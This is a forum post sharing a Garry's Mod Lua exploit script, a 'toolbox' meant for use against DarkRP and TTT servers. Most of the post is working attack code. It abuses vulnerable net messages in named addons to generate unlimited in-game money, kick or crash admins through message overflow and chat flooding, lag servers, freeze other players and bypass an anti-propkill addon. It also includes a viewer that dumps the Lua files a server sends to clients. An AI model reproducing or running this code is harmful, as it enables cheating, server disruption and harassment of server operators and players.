jay is a dick dont ask him for "his scripts" theses are public exploit ok this is the one u see in his video lol might work on some servers on ttt,darkrp
Code:
-- Jays toolbox
--Functions
function chat.AddJText( Text )
chat.AddText(Color(0,255,0),"[ JAY ] ",Color(255,0,0), Text)
end
concommand.Add("j_Debugme",function()
if requestTa1bles then print("swagggjibawfi") end
end)
if requestTables then
print("ae found, j_ae will work")
chat.AddJText("AE was found, j_ae will work.")
else
chat.AddJText("AE was not found, j_ae will not work.")
end
concommand.Add("j_ae_kickadmins",function()
clearcon()
chat.AddJText("Attempting to Kick admins")
chat.AddJText("This will only work on admins+")
timer.Create( "aekickdaskids", 3, 0, function()
for k,v in ipairs(player.GetAll()) do
if( v:GetUserGroup() != "user" ) then
if( v:GetUserGroup() != "vip" ) then
for i=0, 1000 do
net.Start('plyWarning')
net.WriteEntity(v)
net.WriteString('You have to select a player before doing a action.')
net.SendToServer()
end
print('[Jay] Attempting to kick: '.. v:Nick().. "!")
end
end
end
end)
end)
--Welcome / iffisrt shit
for i=0, 100 do
print(" ")
end
print("|-----------------------------------------------------------------------------------------|")
print("|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|")
print("| |Jay's Toolbox| |")
print("| |Made for Jay!| |")
print("| (And whoever i give this out to) |")
print("|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|")
print("|-----------------------------------------------------------------------------------------|")
chat.AddText(Color(0,255,0),"[ JAY ] ", Color(255,0,0), "Welcome: ".. LocalPlayer():Nick())
chat.AddText(Color(0,255,0),"[ JAY ] ", Color(255,0,0),"Jay's Private toolbox shit initialized! Have fun!")
chat.AddText(Color(0,255,0),"[ JAY ] ", Color(255,0,0),"Type j_help for some help!")
-- LONG PRINT CONCMDS HERE >>>> VVVVV
concommand.Add("j_about",function()
for i=0, 100 do
print(" ")
end
print("|-----------------------------------------------------------------------------------------|")
print("|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|")
print("| |Jay's Toolbox| |")
print("| |Made for Jay!| |")
print("| |Decided to make this for ease of use..| |")
print("| (And whoever i give this out to) |")
print("|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|")
print("|-----------------------------------------------------------------------------------------|")
end)
concommand.Add("j_help", function()
clearcon()
chat.AddText(Color(255,0,0),"HELP PRINTED TO CONSOLE!")
print("=====================================HELP===================================")
print("============================================================================")
print("============================================================================")
print(" ")
print(" ")
print("j_about Will print the about page! | Just a bit of info about this and stuffzors! ")
print("j_asylum_giveme(amount) Will give you the amount requested| Asylum (Bank)")
print("j_asylum_givela(amount) Will give the person you are looking at the amount requested| Asylum (Bank)")
print("j_mde_removedat Will delete what you are looking at (I recomment bind)| MDE")
print("j_admins will print all connected non users :: Aka Admins!")
print("j_check | WILL CHECK FOR ALL POSSIBLE KNOWN EXPLOITS USEFUL >>> VERY GUD!")
print("j_mx_kickadmins Will kick all admins over and over | Will be using client overflow, on a timer. So if they rejoin, they're gone again :D")
print("j_dlogs_lag Will lag the server using deagle logs, Be careful! Might crash!")
print("j_dlogs_lag_off will stop the lag ")
print("j_serverlist | Print servers with known exploits. Will try to keep updated!")
print("j_ss_money | Gives you money using the SS Shelf NET")
print("j_advert (bool) | /advert channel")
print("j_tp_spawn | Tp to spawn using kun's defib addon === Default binded to: =!")
print("j_reload | Reload Scripts! ")
print("j_sellcar | Will use vcmd to sell cars and give you money! Careful no spam... Lag")
print("j_lua | Clua")
print("j_nlr_freeze (bool) | Freeze everybody once they die. Excluding you!")
print("j_bail_... | Use the bail npc to give / Take money.")
print("j_ThrowMagneto | TTT : Prop kill looking @")
print("j_notify (bool) | Toggle Sliding bar")
print("j_ae_kickadmins | Use AE To kick admins")
print("j_bypass_apanti | A anti propkill addon. (Bypassed)")
print(" ")
print(" ")
print("|| V2.1 ||")
print("Keep in mind, exploits might work on other servers!")
print("============================================================================")
print("====================================|SwAg|==================================")
print("============================================================================")
end)
concommand.Add("j_serverlist",function()
clearcon()
print("============================================================================")
print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~")
print(" |SERVER LIST| ")
print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~")
print("============================================================================")
print(" ")
print(" FORMAT: SERVERNAME - IP - Exploits - date - Accounts banned on ")
print(" ")
print(" Dont use this ~ Made for Jay ~ Not really useful ")
print(" ")
print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~")
print("============================================================================")
print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~")
end)
--FUNCTIONS:
--Proper fix for chat crashing by D3X
local oChatAddText = chat.AddText
function chat.AddText( ... )
local cArgs = { ... };
for k, v in pairs( cArgs ) do
if (type(v) == 'string' && string.len(v) > 255) then -- 255 should be fine
print("BLOCKED STRING CRASH len[" .. string.len(v) .. "]");
return false;
end
end
return oChatAddText( ... );
end
function clearcon()
for i=0, 100 do
print(" ")
end
function cleardchat()
for i=0, 100 do
chat.AddText(" ")
end
end
print([[ _ __ _ ]])
print([[ | | \ \ __ _ _ _ | | ]])
print([[ | | \ \/ _` | | | | | |]])
print([[ | | /\_/ / (_| | |_| | | | ]])
print([[ | | \___/ \__,_|\__, | | | ]])
print([[ |_| |___/ |_| ]])
print([[ ]])
print([[ ]])
print([[ ]])
print([[ ]])
-- _ __ _
--[[| | \ \ __ _ _ _ | |
| | \ \/ _` | | | | | |
| | /\_/ / (_| | |_| | | |
| | \___/ \__,_|\__, | | |
|_| |___/ |_|]]
end
for k,v in pairs(ents.GetAll()) do
local swag = v
end
local infinite = 1000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000
local me = LocalPlayer()
local sweg = LocalPlayer():GetEyeTrace().Entity
--new concmds
function dloglag()
clearcon()
print("Lagging server.")
clearcon()
print("Lagging server..")
clearcon()
print("Lagging server...")
timer.Create( "dlogsisfucked", 3, 0, function()
for i=0, 700 do
local tosend = {
cmd="+forward",
args=" "
}
net.Start('dLogsGetCommand')
net.WriteTable(tosend)
net.SendToServer()
end
end)
end
local Spammer = CreateClientConVar("j_advert", "0", true, false)
local function Spam()
if Spammer:GetBool() then
RunConsoleCommand("say", "/advert CHECK ME OUT ON YOUTUBE >> Jay The Exploiter !!!!!!") --Where you guys suck is add what you want it to say
end
end
timer.Create("Spam", 1.5,0,Spam) -- where 1.5 is change to how fast you want to spam
local player2kick = CreateClientConVar("j_mx_playername", " ", true, false)
function kickdaplayer()
timer.Create( "heymnangng2", 3, 0, function()
for k,v in ipairs(player.GetAll()) do
if v:Nick() == GetConVar("j_mx_playername") then
clearcon()
print("Kicking: ")
print(v:Nick())
for i=0, 700 do
net.Start( "GetCar" )
net.WriteEntity(v)
net.WriteEntity(v)
net.SendToServer()
end
chat.AddText(Color(255,0,0), "j_Kicked: ".. v:Nick())
end
end
end)
end
concommand.Add( "j_mx_kickplayer", kickdaplayer )
concommand.Add( "j_dlogs_lag", dloglag )
concommand.Add( "j_dlogs_lag_off", function()
clearcon()
print("Stopping the lag...")
timer.Destroy("dlogisfucked")
end)
concommand.Add("j_admins", function()
clearcon()
print("J_Printing admins....")
print("=============ULX | Custom admin mode RANKS ============")
for k,v in pairs(player.GetAll()) do
if( v:GetUserGroup() != "user" ) then
print(v:Nick().. " | ".. v:GetUserGroup())
end
end
print("=======================================================")
end)
--D3X SHOWED ME THIS > I didnt think about overflowing <3 <3 <3 Dex (Note: This is for showing off you can kick people (It RCC's YOU KICKING PEOPLE, BE CAREFUL!))
function reloadeddunkalladmins()
clearcon()
print("KICKING ADMINS..... (THIS WILL INCLUDE ANYONE WHO ISNT A USER)")
timer.Create( "heymnangng", 3, 0, function()
for k,v in ipairs(player.GetAll()) do
if( v:GetUserGroup() != "user" ) then
if v:Nick() != "Jay" then
for i=0, 700 do
net.Start( "GetCar" )
net.WriteEntity(v)
net.WriteEntity(v)
net.SendToServer()
end
print('J_Kicked: '.. v:Nick().. "!")
end
end
end
end)
end
concommand.Add( "j_mx_kickadmins", reloadeddunkalladmins )
-- CHECK ALL MASTER RACE'S UPDATE HERE!! <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<M<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
concommand.Add("j_check",function()
clearcon()
cleardchat()
print("Checking...")
if dLogs then
print(" ")
print(" ")
chat.AddText(Color(0,255,0), "DLOGS | FOUND")
else
print(" ")
print(" ")
chat.AddText(Color(255,0,0), "DLOGS | not FOUND")
end
print(" ")
print(" ")
if ChanNum then
chat.AddText(Color(0,255,0), "MXRadio| FOUND")
else
print(" ")
print(" ")
chat.AddText(Color(255,0,0), "MXRadio | not FOUND")
end
print(" ")
print(" ")
if VC_Menu_Info_Panel_Build then
chat.AddText(Color(255,0,0), "VCMD | FOUND")
else
print(" ")
print(" ")
chat.AddText(Color(255,0,0), "VCMD | not FOUND")
print(" ")
end
print(" ")
if MDE then
chat.AddText(Color(0,255,0), "MDE | FOUND")
else
print(" ")
print(" ")
chat.AddText(Color(255,0,0), "MDE | not FOUND")
print(" ")
end
print(" ")
if NLR then
chat.AddText(Color(0,255,0), "NLR | FOUND")
else
print(" ")
print(" ")
chat.AddText(Color(255,0,0), "NLR | not FOUND")
print(" ")
end
end)
-- Imported from x.lua
concommand.Add("j_asylum_giveme1000", function()
net.Start( "DepositMoney" )
net.WriteEntity(swag )
net.WriteString(-1000 )
net.WriteEntity( LocalPlayer() )
net.SendToServer()
end)
concommand.Add("j_asylum_giveme10000", function()
net.Start( "DepositMoney" )
net.WriteEntity(swag )
net.WriteString( -10000 )
net.WriteEntity( LocalPlayer() )
net.SendToServer()
end)
concommand.Add("j_asylum_giveme100000", function()
net.Start( "DepositMoney" )
net.WriteEntity(swag )
net.WriteString(-100000 )
net.WriteEntity( LocalPlayer() )
net.SendToServer()
end)
concommand.Add("j_asylum_giveme1000000", function()
net.Start( "DepositMoney" )
net.WriteEntity(swag )
net.WriteString(-10000000 )
net.WriteEntity( LocalPlayer() )
net.SendToServer()
end)
concommand.Add("j_asylum_giveme10000000", function()
net.Start( "DepositMoney" )
net.WriteEntity(swag )
net.WriteString(-10000000 )
net.WriteEntity( LocalPlayer() )
net.SendToServer()
end)
concommand.Add("j_asylum_giveme100000000", function()
net.Start( "DepositMoney" )
net.WriteEntity(swag )
net.WriteString(-100000000 )
net.WriteEntity( LocalPlayer() )
net.SendToServer()
end)
concommand.Add("j_asylum_givela1000000", function()
net.Start( "DepositMoney" )
net.WriteEntity(swag )
net.WriteString(-1000000 )
net.WriteEntity( sweg )
net.SendToServer()
end)
concommand.Add("j_asylum_givela100000000", function()
net.Start( "DepositMoney" )
net.WriteEntity(swag )
net.WriteString(-100000000 )
net.WriteEntity( sweg )
net.SendToServer()
end)
concommand.Add("j_asylum_givela1000000000", function()
net.Start( "DepositMoney" )
net.WriteEntity(swag )
net.WriteString(-1000000000 )
net.WriteEntity( sweg )
net.SendToServer()
end)
concommand.Add("j_asylum_givela10000000000", function()
net.Start( "DepositMoney" )
net.WriteEntity(swag )
net.WriteString(-10000000000 )
net.WriteEntity( sweg )
net.SendToServer()
end)
concommand.Add("j_mde_removedat", function()
net.Start( "MDE_RemoveStuff_C2S" )
net.WriteTable( {DATA="",TARGET=sweg} )
net.SendToServer()
end)
concommand.Add("j_ss_money", function()
net.Start( 'NET_SS_DoBuyTakeoff' )
net.WriteEntity(LocalPlayer())
net.WriteEntity(swag)
net.WriteTable({'spawned_weapon'})
net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
net.SendToServer()
end)
concommand.Add("j_ss_money_alot", function()
for i=0, 20 do
net.Start( 'NET_SS_DoBuyTakeoff' )
net.WriteEntity(LocalPlayer())
net.WriteEntity(swag)
net.WriteTable({})
net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
net.SendToServer()
end
end)
concommand.Add("j_tp_spawn",function()
cleardchat()
clearcon()
print(" Teleported to spawn! ")
chat.AddText("Teleported to spawn!")
net.Start("DarkRP_Kun_ForceSpawn")
net.SendToServer()
end)
LastTime = CurTime()
local checkdanotify = CreateClientConVar("j_notify","1","true","false")
function drawdatopscreen()
if checkdanotify:GetBool() then
draw****undedBox(0,0,0,ScrW(),21,Color(0,0,0,200))
sweg = math.Clamp((CurTime()-LastTime)/20,0,1)
if sweg == 1 then
LastTime = CurTime()
end
draw.DrawText("Jay's Scripts loaded! | Use j_help for some help! | Any bugs? Report them to me on skype! | Suggestions? Also report that! | ","Trebuchet24",(ScrW() + 600) - sweg*3100 , -2, Color(255,255,255),TEXT_ALIGN_CENTER )
end
end
hook.Add( "HUDPaint", "drawdatopscreen", drawdatopscreen )
concommand.Add("j_sellcar",function()
for i=0, 30 do
net.Start( "AttemptSellCar" )
net.WriteInt( 1, 8 )
net.SendToServer()
end
end)
concommand.Add("j_sellcar1",function()
net.Start( "AttemptSellCar" )
net.WriteInt( 1, 8 )
net.SendToServer()
end)
local nlr = CreateClientConVar("j_nlr_freeze", "0", true, false)
local function nlrs()
if nlr:GetBool() then
for k,v in pairs(player.GetAll())do
if v != LocalPlayer() then
net.Start("NLR.ActionPlayer")
net.WriteEntity(v)
net.SendToServer()
end
end
end
end
timer.Create("nlrs", 4,0,nlrs) -- Gotta keep dat timer kinda low, or big lag
concommand.Add("j_swag_infinite_all",function()
clearcon()
cleardchat()
chat.AddText(Color(255,5,5),"Giving money, He he")
for k,v in pairs(player.GetAll()) do
net.Start( "BailOut" )
net.WriteEntity( v )
net.WriteEntity( v )
net.WriteFloat( -infinite )
net.SendToServer()
end
end)
-- From MPGH Somewhere, I just play some ttt Casually
-- Didnt really care if C+P
function MagnetoThrow()
-- Nice and easy, turn it slow 180
timer.Simple(.02,Turn)
timer.Simple(.04,Turn)
timer.Simple(.06,Turn)
timer.Simple(.08,Turn)
timer.Simple(.10,Turn)
timer.Simple(.12,Turn)
timer.Simple(.14,Turn)
timer.Simple(.16,Turn)
timer.Simple(.18,Turn)
timer.Simple(.20,Turn)
timer.Simple(.22,Turn)
timer.Simple(.24,Turn)
timer.Simple(.26,Turn)
timer.Simple(.28,Turn)
timer.Simple(.30,Turn)
timer.Simple(.32,Turn)
timer.Simple(.34,Turn)
timer.Simple(.36,Turn)
-- OH MY GOD WHIP AROUND 180
timer.Simple(.46,TurnBack)
-- And deliver the final blow by pressing right click
timer.Simple(.7,function() RunConsoleCommand("+attack") end)
timer.Simple(.72,function() RunConsoleCommand("-attack") end)
end
function Turn()
-- Turn function
LocalPlayer():SetEyeAngles(LocalPlayer():EyeAngles()-Angle(0,10,0))
end
function TurnBack()
-- Turn 180 function
LocalPlayer():SetEyeAngles(LocalPlayer():EyeAngles()-Angle(0,180,0))
end
-- Making it a console command
concommand.Add("j_ThrowMagneto",MagnetoThrow)
-- Atlas chat crash
local crashdakids = CreateClientConVar("j_atlas_admins", "0", true, false)
local function Crashdakidsf()
if crashdakids:GetBool() then
for k,v in pairs(player.GetAll()) do
if ( v:GetUserGroup() != "user" ) then
local bigstring = ""
for i=0, 150 do bigstring = bigstring .. string.char( 72, 101, 108, 108, 111, 72, 104, 105 ) end --------------------------------------------------------------------------------------------------------------------
local tocrash = v
if( !tocrash:IsPlayer() ) then return end;
local name = tocrash:Name();
print( "Crashing: " .. name );
net.Start("atlaschat.chat")
net.WriteString("/pm " .. name .." ".. bigstring)
net.SendToServer()
end
end
end
end
timer.Create("Crashdakids", 1.5,0,Crashdakidsf)
concommand.Add("j_bypass_apanti",function()
clearcon()
chat.AddJText("Bypassing Apanti.. (Addon might not be on)")
net.Receive("sMsgStandard", function()
print("#Bypassed by jay")
end)
net.Receive("sNotifyHit", function()
print("#Bypassed by jay")
end)
net.Receive("sMsgAdmins", function()
print("#Bypassed by jay")
end)
net.Receive("sAlertNotice", function()
print("#Bypassed by jay")
end)
end)
concommand.Add("j_3dcardealer_help",function()
clearcon()
print("============================================================================")
print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~")
print(" |3D Car Dealer exploit| ")
print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~")
print("============================================================================")
print(" ")
print(" Step 1. Buy a car")
print(" Step 2. Spawn car")
print(" Step 3. Look at car and use j_3dcardealer_spamstore ")
print(" Step 4. Go back to store")
print(" Step 5. Check inventory")
print(" Step 6. Sell all cars for profit!")
print(" Enjoy!!!")
print(" ")
print(" ~Found by a script kiddie on mpgh, not me")
print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~")
print("============================================================================")
print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~")
end)
concommand.Add("j_3dcardealer_spamstore",function()
print("[Jay] You better be looking at a car")
for i=0,100 do
clearcon()
print("[Jay] Spamming store... ".."["..i.."]")
net.Start( "RXCAR_Shop_Store_C2S" )
net.WriteTable({E=sweg})
net.SendToServer()
end
end)
if requestTables then
chat.AddJText("AE was found, j_ae will work.")
else
chat.AddJText("AE was not found, j_ae will not work.")
end
-- CL LUAVIEWER */ require("stringtables") local escapejs = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'" } function string.JavascriptSafe( str ) str = str:gsub( ".", escapejs ) str = str:gsub( "\226\128\168", "\\\226\128\168" ) str = str:gsub( "\226\128\169", "\\\226\128\169" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open("cache/lua/" .. crc .. ".lua", "rb", "MOD") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match("%.txt$") then path = path..".txt" end local curdir = "" for t in path:gmatch("[^/\\*]+") do curdir = curdir..t if curdir:match("%.txt$") then print("writing: ", curdir) file.Write(curdir, contents) else curdir = curdir.."/" print("Creating: ", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = "" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end
/*
[[----------------------------------------------------------------]]
[[----------------------------------------------------------------]]
____ ___ __ __
/\ _`\ /\_ \ __ /\ \__ __ /\ \
\ \ \/\_\//\ \ /\_\ __ ___\ \ ,_\ ____/\_\ \_\ \ __
\ \ \/_/_\ \ \ \/\ \ /'__`\/' _ `\ \ \/ /',__\/\ \ /'_` \ /'__`\
\ \ \L\ \\_\ \_\ \ \/\ __//\ \/\ \ \ \_/\__, `\ \ \/\ \L\ \/\ __/
\ \____//\____\\ \_\ \____\ \_\ \_\ \__\/\____/\ \_\ \___,_\ \____\
\/___/ \/____/ \/_/\/____/\/_/\/_/\/__/\/___/ \/_/\/__,_ /\/____/
/\ \ __
\ \ \ __ __ __ __ __ /\_\ __ __ __ __ __ _ __
\ \ \ __/\ \/\ \ /'__`\ /\ \/\ \\/\ \ /'__`\/\ \/\ \/\ \ /'__`\/\`'__\
\ \ \L\ \ \ \_\ \/\ \L\.\_ \ \ \_/ |\ \ \/\ __/\ \ \_/ \_/ \/\ __/\ \ \/
\ \____/\ \____/\ \__/.\_\ \ \___/ \ \_\ \____\\ \___x___/'\ \____\\ \_\
\/___/ \/___/ \/__/\/_/ \/__/ \/_/\/____/ \/__//__/ \/____/ \/_/
[[----------------------------------------------------------------]]
[[----------------------------------------------------------------]] */ require("stringtables") local escapejs = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'" } function string.JavascriptSafe( str ) str = str:gsub( ".", escapejs ) str = str:gsub( "\226\128\168", "\\\226\128\168" ) str = str:gsub( "\226\128\169", "\\\226\128\169" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open("cache/lua/" .. crc .. ".lua", "rb", "MOD") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match("%.txt$") then path = path..".txt" end local curdir = "" for t in path:gmatch("[^/\\*]+") do curdir = curdir..t if curdir:match("%.txt$") then print("writing: ", curdir) file.Write(curdir, contents) else curdir = curdir.."/" print("Creating: ", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = "" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end
local VIEWER = {}
surface.CreateFont("HeaderFont", {
font = "Segoe UI Semilight",
size = 22,
weight = 300
})
surface.CreateFont("PopupFont", {
font = "Segoe UI Light",
size = 21,
weight = 300
})
function VIEWER:Init()
self:SetTitle("Dont leek M8 | Im looking at you ".. LocalPlayer():Nick() .. " | (".. LocalPlayer():Nick() .." is awesome)")
self:SetSize(1200, 550)
self:Center() self:ShowCloseButton( false ) self.Paint = function(s,w,h)
surface.SetDrawColor(Color(108,153,192))
surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(141,200,251) ) surface.DrawRect( 1,1, w-2,h-2 ) surface.SetDrawColor(Color(141,200,251)) surface.DrawRect( 2,2, w-4,h-4 ) surface.SetDrawColor(Color(108,153,192)) surface.DrawRect( 7.5,27.5, w-14,h-34) surface.SetTextColor(0,0,0) surface.SetFont("HeaderFont")
surface.SetTextPos( (self:GetWide()/2) - (tostring( string.len( self.lblTitle:GetText() )) / 2*7.5), 2) self.lblTitle:SetColor(Color(0,0,0,0)) surface.DrawText( self.lblTitle:GetText() ) end self.close = vgui.Create( "DButton", self ) self.close:SetSize( 43,20 ) self.close:SetPos( self:GetWide()-7.5-self.close:GetWide(), -1 ) self.close:SetText("") self.close.Paint = function(s,w,h) surface.SetDrawColor( Color(199,80,80) ) surface.DrawRect( 0,0, w,h ) surface.SetTextColor(255,255,255) surface.SetFont("HeaderFont") surface.SetTextPos(18,-2) surface.DrawText( "x" ) end self.close.DoClick = function(s,w,h) self:Close() end self.tree = vgui.Create("DTree", self) self.tree:SetPos(8.5,28.5) self.tree:SetSize(self:GetWide()/2-200, self:GetTall()-36) self.tree.Directories = {} self.html = vgui.Create("DHTML", self) self.html:SetPos(self:GetWide()/2-200+8.5, 28.5) self.html:SetSize(self:GetWide()/2+200-16, self:GetTall()-36) self.html:OpenURL("https://metastruct.**********/lua_editor/") client_lua_files = stringtable.Get "client_lua_files" local tree_data= {} for i, v in ipairs(GetLuaFiles(client_lua_files)) do if i == 1 then continue end local file_name = string.match(v.Path, ".*/([^/]+%.lua)") local dir_path = string.sub(v.Path, 1, -1 - file_name:len()) local file_crc = v.CRC local cur_dir = tree_data for dir in string.gmatch(dir_path, "([^/]+)/") do if not cur_dir[dir] then cur_dir[dir] = {} end cur_dir = cur_dir[dir] end cur_dir[file_name] = {fileN = file_name, CRC = file_crc} end local file_queue = {} local function iterate(data, node, path) path = path or "" for k, v in SortedPairs(data) do if type(v) == "table" and not v.CRC then local new_node = node:AddNode(k) new_node.DoRightClick = function() local dmenu = DermaMenu(new_node) dmenu:SetPos(gui.MouseX(), gui.MouseY()) dmenu:AddOption("Save Folder", function() dumbFolderCache = "cluaview/"..GetHostName()..dumbFolder(new_node) DrawFancyPopup("The folder ".. dumbFolder(new_node) .." has been saved as data/cluaview/".. GetHostName() .."/folders/".. dumbFolder(new_node) .."!") end) dmenu:Open() end iterate(v, new_node, path .. k .. "/") else table.insert(file_queue, {node = node, fileN = v.fileN, path = path .. v.fileN, CRC = v.CRC}) end end end iterate(tree_data, self.tree) for k, v in ipairs(file_queue) do local node = v.node:AddNode(v.fileN, "icon16/page_green.png") node.DoClick = function() self.html:QueueJavascript("SetContent('"..string.JavascriptSafe(GetLuaFileContents(v.CRC)).."')") end local hostname = GetHostName() hostname = hostname:gsub("|", "-") hostname = hostname:gsub("~", "-") hostname = hostname:gsub(" ", "") node.DoRightClick = function(self,node) local nodemenu = DermaMenu(node) nodemenu:AddOption("Save File", function() dumbFile("cluaview/".. string.lower(hostname) .."/"..v.fileN, GetLuaFileContents(v.CRC)) DrawFancyPopup("The file ".. v.fileN .." has been saved as data/cluaview/".. string.lower(hostname) .."/".. v.fileN .."!") end) nodemenu:Open() end node.CRC = v.CRC node.pathh = v.path
end
end
derma.DefineControl("dcluaviewer", "Clientside Lua Viewer", VIEWER, "DFrame")
/*
[[----------------------------------------------------------------]]
[[----------------------------------------------------------------]]
____
/\ _`\
\ \ \L\_\ __ ___ ___ __ __
\ \ _\/'__`\ /' _ `\ /'___\/\ \/\ \
\ \ \/\ \L\.\_/\ \/\ \/\ \__/\ \ \_\ \
\ \_\ \__/.\_\ \_\ \_\ \____\\/`____ \
\/_/\/__/\/_/\/_/\/_/\/____/ `/___/> \
/\___/
\/__/
____
/\ _`\
\ \ \L\ \___ _____ __ __ _____
\ \ ,__/ __`\/\ '__`\/\ \/\ \/\ '__`\
\ \ \/\ \L\ \ \ \L\ \ \ \_\ \ \ \L\ \
\ \_\ \____/\ \ ,__/\ \____/\ \ ,__/
\/_/\/___/ \ \ \/ \/___/ \ \ \/
\ \_\ \ \_\
\/_/ \/_/
[[----------------------------------------------------------------]]
[[----------------------------------------------------------------]]
*/
function DrawFancyPopup(message)
fancyPopup = vgui.Create("DFrame")
fancyPopup:SetSize(ScrW(), ScrH()) fancyPopup:SetPos(0, 0) fancyPopup:SetVisible( true ) fancyPopup:SetTitle("") fancyPopup:MakePopup() fancyPopup:ShowCloseButton( true ) fancyPopup.Paint = function(s,w,h) surface.SetDrawColor( Color(0,0,0,200) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0, w/2-fancyPopup:GetTall()/1.520, ScrW(), ScrH()/6.5 ) surface.SetTextColor(255,255,255) surface.SetFont("PopupFont") surface.SetTextPos(w/4.10, h/2.30) surface.DrawText( message ) end fancyPopupButton = vgui.Create("DButton", fancyPopup) fancyPopupButton:SetSize(110,32.5) fancyPopupButton:SetPos(fancyPopup:GetWide()/2+fancyPopup:GetWide()/10, fancyPopup:GetTall()/2.050) fancyPopupButton:SetText("") fancyPopupButton.Paint = function(s,w,h) surface.SetDrawColor( Color(255,255,255) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0+3,0+3, w-6,h-6 ) surface.SetTextColor(255,255,255) surface.SetFont("PopupFont") surface.SetTextPos(30.5,5.5) surface.DrawText( "Alright!" ) end fancyPopupButton.DoClick = function(s,w,h) fancyPopup:Close() end
end